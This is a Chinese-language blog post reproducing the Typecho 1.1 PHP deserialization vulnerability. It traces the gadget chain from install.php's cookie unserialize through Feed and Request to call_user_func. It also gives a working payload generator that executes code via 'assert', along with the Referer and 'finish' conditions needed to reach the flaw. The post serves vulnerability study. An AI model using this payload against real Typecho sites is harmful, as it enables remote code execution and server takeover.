【漏洞复现】typecho1.1反序列化漏洞

@tomyxy  October 29, 2018

去年这时候的漏洞了,一直拖着没仔细看,这次再审一下 XD

0x00 php反序列化漏洞
先看段代码:

<?php
class Flag{ //flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br />";
        return ("good");
        }
    }
}
$password = unserialize($_GET['password']);
echo $password;
?>

这是一段典型的有反序列化漏洞的代码,__toString()是魔术方法。魔术方法是在某些情况下自动去调用的方法,__toString方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时。就如上代码而言,只需要新建一个Flag类,使file成为我们所需要的文件名即可实现任意文件读取。
payload生成方式如下:

<?php
class Flag{ //flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file);
            echo "<br />";
        return ("good");
        }
    }
}
$obj = new Flag();
$obj->file = "2.php"; //读2.php
echo serialize($obj);
?>

如此payload生成成功,通过get提交即可实现文件读取。

0x01 漏洞分析
入口点在install.php229行:

<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

读到$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));这里是一个典型的反序列化,跟进get()看一下

    public static function get($key, $default = NULL)
    {
        $key = self::$_prefix . $key;
        $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
        return is_array($value) ? $default : $value;
    }

看到从cookie中获取,变量可控。再看前面的代码,能否通过验证执行到这个位置。看一下install.php前面的代码(59行开始):

    if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
        exit;
    }
    
    // 挡掉可能的跨站请求
    if (!empty($_GET) || !empty($_POST)) {
        if (empty($_SERVER['HTTP_REFERER'])) {
            exit;
        }
    
        $parts = parse_url($_SERVER['HTTP_REFERER']);
        if (!empty($parts['port'])) {
            $parts['host'] = "{$parts['host']}:{$parts['port']}";
        }
    
        if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
            exit;
        }
    }

可以看到要想执行到下面的命令,需要两个条件,第一通过get方式提交有finish参数,第二HTTP_REFERER非空且为自己的host,很容易实现,这样就可以开始思考如何利用这个反序列化漏洞了。

反序列化漏洞需要魔术方法,就如同前言里讲的一样,这里借用freebuf上总结的魔术方法:

__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

跟入Typecho_Db()看一下,在Db.php

public function __construct($adapterName, $prefix = 'typecho_')
{
    /** 获取适配器名称 */
    $this->_adapterName = $adapterName;

    /** 数据库适配器 */
    $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

    if (!call_user_func(array($adapterName, 'isAvailable'))) {
        throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
    }

    $this->_prefix = $prefix;

    /** 初始化内部变量 */
    $this->_pool = array();
    $this->_connectedPool = array();
    $this->_config = array();

    //实例化适配器对象
    $this->_adapter = new $adapterName();
}

其中 $adapterName = 'Typecho_Db_Adapter_' . $adapterName;将变量与字符串连接,这时候便调用了魔术方法__toString。
经过搜索整个程序发现,__toString()有三处,其中在feed.php下有这么一串代码:

foreach ($this->_items as $item) {
                $content .= '<item>' . self::EOL;
                $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
                $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
                $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
                $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
                $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

                if (!empty($item['category']) && is_array($item['category'])) {
                    foreach ($item['category'] as $category) {
                        $content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL;
                    }
                }

读到$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;发现问题,前面提到__get()用于从不可访问的属性读取数据,foreach遍历时当screenName对象不存在的时候会调用__get(),这就全局搜索有__get()方法的类,在Request.php选定代码

public function __get($key)
{
    return $this->get($key);
}

跟进get()

public function get($key, $default = NULL)
{
    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
}

跟进_applyFilter()

private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);  //漏洞点
        }

        $this->_filter = array();
    }

    return $value;
}

看到了call_user_func($filter, $value),这个函数的作用是把第一个参数作为回调函数调用,比如这个例子:

<?php
function barber($type)
{
    echo "You wanted a $type haircut, no problem\n";
}
call_user_func('barber', "mushroom");  //输出You wanted a mushroom haircut, no problem
call_user_func('barber', "shave");  //输出You wanted a shave haircut, no problem
?>

到此为止,利用链基本完整:
install.php中unserialize()内容可控==>install.php实例化了一个Typecho_Db,其中获取适配器名称$adapterName时调用了魔术方法__toString==>Feed.php执行__toString()的时候在获取screenName的时候调用了__get()方法==>Request.php中__get()中调用的get(),其中执行了_applyFilte==> Request.php中的_applyFilter()中使用了call_user_func(),该回调函数导致漏洞触发。

0x02 漏洞利用
payload如下:

<?php

class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct()
    {
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'content' => '1',
            'link' => '1',
            'date' => 1540996608,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct(){
        $this->_params['screenName'] = 'phpinfo()';
        $this->_filter[0] = 'assert';
    }
}

$payload = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($payload));

?>

利用如图:
typecho利用.png

0x3 附源代码
typecho版本:https://github.com/typecho/typecho/releases/tag/v1.1-15.5.12-beta
typecho-1.1-15.5.12-beta.zip


添加新评论

  1. Vivace

    厉害

    Reply
  2. virtua1

    厉害 *-*

    Reply
  3. a3uRa

    膜!

    Reply